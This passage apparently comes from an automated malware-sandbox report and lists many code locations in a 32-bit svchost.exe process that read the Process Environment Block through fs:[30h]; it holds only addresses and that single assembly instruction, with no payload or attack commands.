Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0393A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0393A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0393A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0393A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0393A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039402E1 mov eax, dword ptr fs:[00000030h]	1_2_039402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039402E1 mov eax, dword ptr fs:[00000030h]	1_2_039402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039402E1 mov eax, dword ptr fs:[00000030h]	1_2_039402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A062D6 mov eax, dword ptr fs:[00000030h]	1_2_03A062D6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392823B mov eax, dword ptr fs:[00000030h]	1_2_0392823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392A250 mov eax, dword ptr fs:[00000030h]	1_2_0392A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03936259 mov eax, dword ptr fs:[00000030h]	1_2_03936259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039EA250 mov eax, dword ptr fs:[00000030h]	1_2_039EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039EA250 mov eax, dword ptr fs:[00000030h]	1_2_039EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B8243 mov eax, dword ptr fs:[00000030h]	1_2_039B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B8243 mov ecx, dword ptr fs:[00000030h]	1_2_039B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E0274 mov eax, dword ptr fs:[00000030h]	1_2_039E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E0274 mov eax, dword ptr fs:[00000030h]	1_2_039E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E0274 mov eax, dword ptr fs:[00000030h]	1_2_039E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E0274 mov eax, dword ptr fs:[00000030h]	1_2_039E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E0274 mov eax, dword ptr fs:[00000030h]	1_2_039E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E0274 mov eax, dword ptr fs:[00000030h]	1_2_039E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E0274 mov eax, dword ptr fs:[00000030h]	1_2_039E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E0274 mov eax, dword ptr fs:[00000030h]	1_2_039E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E0274 mov eax, dword ptr fs:[00000030h]	1_2_039E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E0274 mov eax, dword ptr fs:[00000030h]	1_2_039E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E0274 mov eax, dword ptr fs:[00000030h]	1_2_039E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E0274 mov eax, dword ptr fs:[00000030h]	1_2_039E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03934260 mov eax, dword ptr fs:[00000030h]	1_2_03934260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03934260 mov eax, dword ptr fs:[00000030h]	1_2_03934260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03934260 mov eax, dword ptr fs:[00000030h]	1_2_03934260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392826B mov eax, dword ptr fs:[00000030h]	1_2_0392826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A0625D mov eax, dword ptr fs:[00000030h]	1_2_03A0625D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B019F mov eax, dword ptr fs:[00000030h]	1_2_039B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B019F mov eax, dword ptr fs:[00000030h]	1_2_039B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B019F mov eax, dword ptr fs:[00000030h]	1_2_039B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B019F mov eax, dword ptr fs:[00000030h]	1_2_039B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392A197 mov eax, dword ptr fs:[00000030h]	1_2_0392A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392A197 mov eax, dword ptr fs:[00000030h]	1_2_0392A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392A197 mov eax, dword ptr fs:[00000030h]	1_2_0392A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03970185 mov eax, dword ptr fs:[00000030h]	1_2_03970185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039EC188 mov eax, dword ptr fs:[00000030h]	1_2_039EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039EC188 mov eax, dword ptr fs:[00000030h]	1_2_039EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D4180 mov eax, dword ptr fs:[00000030h]	1_2_039D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D4180 mov eax, dword ptr fs:[00000030h]	1_2_039D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A061E5 mov eax, dword ptr fs:[00000030h]	1_2_03A061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AE1D0 mov eax, dword ptr fs:[00000030h]	1_2_039AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AE1D0 mov eax, dword ptr fs:[00000030h]	1_2_039AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AE1D0 mov ecx, dword ptr fs:[00000030h]	1_2_039AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AE1D0 mov eax, dword ptr fs:[00000030h]	1_2_039AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AE1D0 mov eax, dword ptr fs:[00000030h]	1_2_039AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F61C3 mov eax, dword ptr fs:[00000030h]	1_2_039F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F61C3 mov eax, dword ptr fs:[00000030h]	1_2_039F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039601F8 mov eax, dword ptr fs:[00000030h]	1_2_039601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DA118 mov ecx, dword ptr fs:[00000030h]	1_2_039DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DA118 mov eax, dword ptr fs:[00000030h]	1_2_039DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DA118 mov eax, dword ptr fs:[00000030h]	1_2_039DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DA118 mov eax, dword ptr fs:[00000030h]	1_2_039DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F0115 mov eax, dword ptr fs:[00000030h]	1_2_039F0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DE10E mov eax, dword ptr fs:[00000030h]	1_2_039DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DE10E mov ecx, dword ptr fs:[00000030h]	1_2_039DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DE10E mov eax, dword ptr fs:[00000030h]	1_2_039DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DE10E mov eax, dword ptr fs:[00000030h]	1_2_039DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DE10E mov ecx, dword ptr fs:[00000030h]	1_2_039DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DE10E mov eax, dword ptr fs:[00000030h]	1_2_039DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DE10E mov eax, dword ptr fs:[00000030h]	1_2_039DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DE10E mov ecx, dword ptr fs:[00000030h]	1_2_039DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DE10E mov eax, dword ptr fs:[00000030h]	1_2_039DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DE10E mov ecx, dword ptr fs:[00000030h]	1_2_039DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03960124 mov eax, dword ptr fs:[00000030h]	1_2_03960124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392C156 mov eax, dword ptr fs:[00000030h]	1_2_0392C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039C8158 mov eax, dword ptr fs:[00000030h]	1_2_039C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A04164 mov eax, dword ptr fs:[00000030h]	1_2_03A04164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A04164 mov eax, dword ptr fs:[00000030h]	1_2_03A04164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03936154 mov eax, dword ptr fs:[00000030h]	1_2_03936154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03936154 mov eax, dword ptr fs:[00000030h]	1_2_03936154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039C4144 mov eax, dword ptr fs:[00000030h]	1_2_039C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039C4144 mov eax, dword ptr fs:[00000030h]	1_2_039C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039C4144 mov ecx, dword ptr fs:[00000030h]	1_2_039C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039C4144 mov eax, dword ptr fs:[00000030h]	1_2_039C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039C4144 mov eax, dword ptr fs:[00000030h]	1_2_039C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393208A mov eax, dword ptr fs:[00000030h]	1_2_0393208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F60B8 mov eax, dword ptr fs:[00000030h]	1_2_039F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F60B8 mov ecx, dword ptr fs:[00000030h]	1_2_039F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039280A0 mov eax, dword ptr fs:[00000030h]	1_2_039280A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039C80A8 mov eax, dword ptr fs:[00000030h]	1_2_039C80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B20DE mov eax, dword ptr fs:[00000030h]	1_2_039B20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392C0F0 mov eax, dword ptr fs:[00000030h]	1_2_0392C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039720F0 mov ecx, dword ptr fs:[00000030h]	1_2_039720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392A0E3 mov ecx, dword ptr fs:[00000030h]	1_2_0392A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039380E9 mov eax, dword ptr fs:[00000030h]	1_2_039380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B60E0 mov eax, dword ptr fs:[00000030h]	1_2_039B60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394E016 mov eax, dword ptr fs:[00000030h]	1_2_0394E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394E016 mov eax, dword ptr fs:[00000030h]	1_2_0394E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394E016 mov eax, dword ptr fs:[00000030h]	1_2_0394E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394E016 mov eax, dword ptr fs:[00000030h]	1_2_0394E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B4000 mov ecx, dword ptr fs:[00000030h]	1_2_039B4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D2000 mov eax, dword ptr fs:[00000030h]	1_2_039D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D2000 mov eax, dword ptr fs:[00000030h]	1_2_039D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D2000 mov eax, dword ptr fs:[00000030h]	1_2_039D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D2000 mov eax, dword ptr fs:[00000030h]	1_2_039D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D2000 mov eax, dword ptr fs:[00000030h]	1_2_039D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D2000 mov eax, dword ptr fs:[00000030h]	1_2_039D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D2000 mov eax, dword ptr fs:[00000030h]	1_2_039D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D2000 mov eax, dword ptr fs:[00000030h]	1_2_039D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039C6030 mov eax, dword ptr fs:[00000030h]	1_2_039C6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392A020 mov eax, dword ptr fs:[00000030h]	1_2_0392A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392C020 mov eax, dword ptr fs:[00000030h]	1_2_0392C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03932050 mov eax, dword ptr fs:[00000030h]	1_2_03932050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B6050 mov eax, dword ptr fs:[00000030h]	1_2_039B6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395C073 mov eax, dword ptr fs:[00000030h]	1_2_0395C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D678E mov eax, dword ptr fs:[00000030h]	1_2_039D678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039307AF mov eax, dword ptr fs:[00000030h]	1_2_039307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E47A0 mov eax, dword ptr fs:[00000030h]	1_2_039E47A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393C7C0 mov eax, dword ptr fs:[00000030h]	1_2_0393C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B07C3 mov eax, dword ptr fs:[00000030h]	1_2_039B07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039347FB mov eax, dword ptr fs:[00000030h]	1_2_039347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039347FB mov eax, dword ptr fs:[00000030h]	1_2_039347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039527ED mov eax, dword ptr fs:[00000030h]	1_2_039527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039527ED mov eax, dword ptr fs:[00000030h]	1_2_039527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039527ED mov eax, dword ptr fs:[00000030h]	1_2_039527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039BE7E1 mov eax, dword ptr fs:[00000030h]	1_2_039BE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03930710 mov eax, dword ptr fs:[00000030h]	1_2_03930710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03960710 mov eax, dword ptr fs:[00000030h]	1_2_03960710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396C700 mov eax, dword ptr fs:[00000030h]	1_2_0396C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396273C mov eax, dword ptr fs:[00000030h]	1_2_0396273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396273C mov ecx, dword ptr fs:[00000030h]	1_2_0396273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396273C mov eax, dword ptr fs:[00000030h]	1_2_0396273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AC730 mov eax, dword ptr fs:[00000030h]	1_2_039AC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396C720 mov eax, dword ptr fs:[00000030h]	1_2_0396C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396C720 mov eax, dword ptr fs:[00000030h]	1_2_0396C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03930750 mov eax, dword ptr fs:[00000030h]	1_2_03930750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039BE75D mov eax, dword ptr fs:[00000030h]	1_2_039BE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972750 mov eax, dword ptr fs:[00000030h]	1_2_03972750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972750 mov eax, dword ptr fs:[00000030h]	1_2_03972750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B4755 mov eax, dword ptr fs:[00000030h]	1_2_039B4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396674D mov esi, dword ptr fs:[00000030h]	1_2_0396674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396674D mov eax, dword ptr fs:[00000030h]	1_2_0396674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396674D mov eax, dword ptr fs:[00000030h]	1_2_0396674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03938770 mov eax, dword ptr fs:[00000030h]	1_2_03938770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940770 mov eax, dword ptr fs:[00000030h]	1_2_03940770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940770 mov eax, dword ptr fs:[00000030h]	1_2_03940770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940770 mov eax, dword ptr fs:[00000030h]	1_2_03940770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940770 mov eax, dword ptr fs:[00000030h]	1_2_03940770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940770 mov eax, dword ptr fs:[00000030h]	1_2_03940770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940770 mov eax, dword ptr fs:[00000030h]	1_2_03940770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940770 mov eax, dword ptr fs:[00000030h]	1_2_03940770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940770 mov eax, dword ptr fs:[00000030h]	1_2_03940770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940770 mov eax, dword ptr fs:[00000030h]	1_2_03940770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940770 mov eax, dword ptr fs:[00000030h]	1_2_03940770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940770 mov eax, dword ptr fs:[00000030h]	1_2_03940770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940770 mov eax, dword ptr fs:[00000030h]	1_2_03940770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03934690 mov eax, dword ptr fs:[00000030h]	1_2_03934690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03934690 mov eax, dword ptr fs:[00000030h]	1_2_03934690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039666B0 mov eax, dword ptr fs:[00000030h]	1_2_039666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396C6A6 mov eax, dword ptr fs:[00000030h]	1_2_0396C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396A6C7 mov ebx, dword ptr fs:[00000030h]	1_2_0396A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396A6C7 mov eax, dword ptr fs:[00000030h]	1_2_0396A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_039AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_039AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_039AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_039AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B06F1 mov eax, dword ptr fs:[00000030h]	1_2_039B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B06F1 mov eax, dword ptr fs:[00000030h]	1_2_039B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972619 mov eax, dword ptr fs:[00000030h]	1_2_03972619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AE609 mov eax, dword ptr fs:[00000030h]	1_2_039AE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394260B mov eax, dword ptr fs:[00000030h]	1_2_0394260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394260B mov eax, dword ptr fs:[00000030h]	1_2_0394260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394260B mov eax, dword ptr fs:[00000030h]	1_2_0394260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394260B mov eax, dword ptr fs:[00000030h]	1_2_0394260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394260B mov eax, dword ptr fs:[00000030h]	1_2_0394260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394260B mov eax, dword ptr fs:[00000030h]	1_2_0394260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394260B mov eax, dword ptr fs:[00000030h]	1_2_0394260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394E627 mov eax, dword ptr fs:[00000030h]	1_2_0394E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03966620 mov eax, dword ptr fs:[00000030h]	1_2_03966620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03968620 mov eax, dword ptr fs:[00000030h]	1_2_03968620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393262C mov eax, dword ptr fs:[00000030h]	1_2_0393262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394C640 mov eax, dword ptr fs:[00000030h]	1_2_0394C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03962674 mov eax, dword ptr fs:[00000030h]	1_2_03962674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F866E mov eax, dword ptr fs:[00000030h]	1_2_039F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F866E mov eax, dword ptr fs:[00000030h]	1_2_039F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396A660 mov eax, dword ptr fs:[00000030h]	1_2_0396A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396A660 mov eax, dword ptr fs:[00000030h]	1_2_0396A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396E59C mov eax, dword ptr fs:[00000030h]	1_2_0396E59C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03932582 mov eax, dword ptr fs:[00000030h]	1_2_03932582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03932582 mov ecx, dword ptr fs:[00000030h]	1_2_03932582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03964588 mov eax, dword ptr fs:[00000030h]	1_2_03964588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039545B1 mov eax, dword ptr fs:[00000030h]	1_2_039545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039545B1 mov eax, dword ptr fs:[00000030h]	1_2_039545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B05A7 mov eax, dword ptr fs:[00000030h]	1_2_039B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B05A7 mov eax, dword ptr fs:[00000030h]	1_2_039B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B05A7 mov eax, dword ptr fs:[00000030h]	1_2_039B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039365D0 mov eax, dword ptr fs:[00000030h]	1_2_039365D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396A5D0 mov eax, dword ptr fs:[00000030h]	1_2_0396A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396A5D0 mov eax, dword ptr fs:[00000030h]	1_2_0396A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396E5CF mov eax, dword ptr fs:[00000030h]	1_2_0396E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396E5CF mov eax, dword ptr fs:[00000030h]	1_2_0396E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0395E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0395E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0395E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0395E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0395E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0395E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0395E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0395E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039325E0 mov eax, dword ptr fs:[00000030h]	1_2_039325E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396C5ED mov eax, dword ptr fs:[00000030h]	1_2_0396C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396C5ED mov eax, dword ptr fs:[00000030h]	1_2_0396C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039C6500 mov eax, dword ptr fs:[00000030h]	1_2_039C6500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A04500 mov eax, dword ptr fs:[00000030h]	1_2_03A04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A04500 mov eax, dword ptr fs:[00000030h]	1_2_03A04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A04500 mov eax, dword ptr fs:[00000030h]	1_2_03A04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A04500 mov eax, dword ptr fs:[00000030h]	1_2_03A04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A04500 mov eax, dword ptr fs:[00000030h]	1_2_03A04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A04500 mov eax, dword ptr fs:[00000030h]	1_2_03A04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A04500 mov eax, dword ptr fs:[00000030h]	1_2_03A04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940535 mov eax, dword ptr fs:[00000030h]	1_2_03940535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940535 mov eax, dword ptr fs:[00000030h]	1_2_03940535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940535 mov eax, dword ptr fs:[00000030h]	1_2_03940535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940535 mov eax, dword ptr fs:[00000030h]	1_2_03940535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940535 mov eax, dword ptr fs:[00000030h]	1_2_03940535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940535 mov eax, dword ptr fs:[00000030h]	1_2_03940535
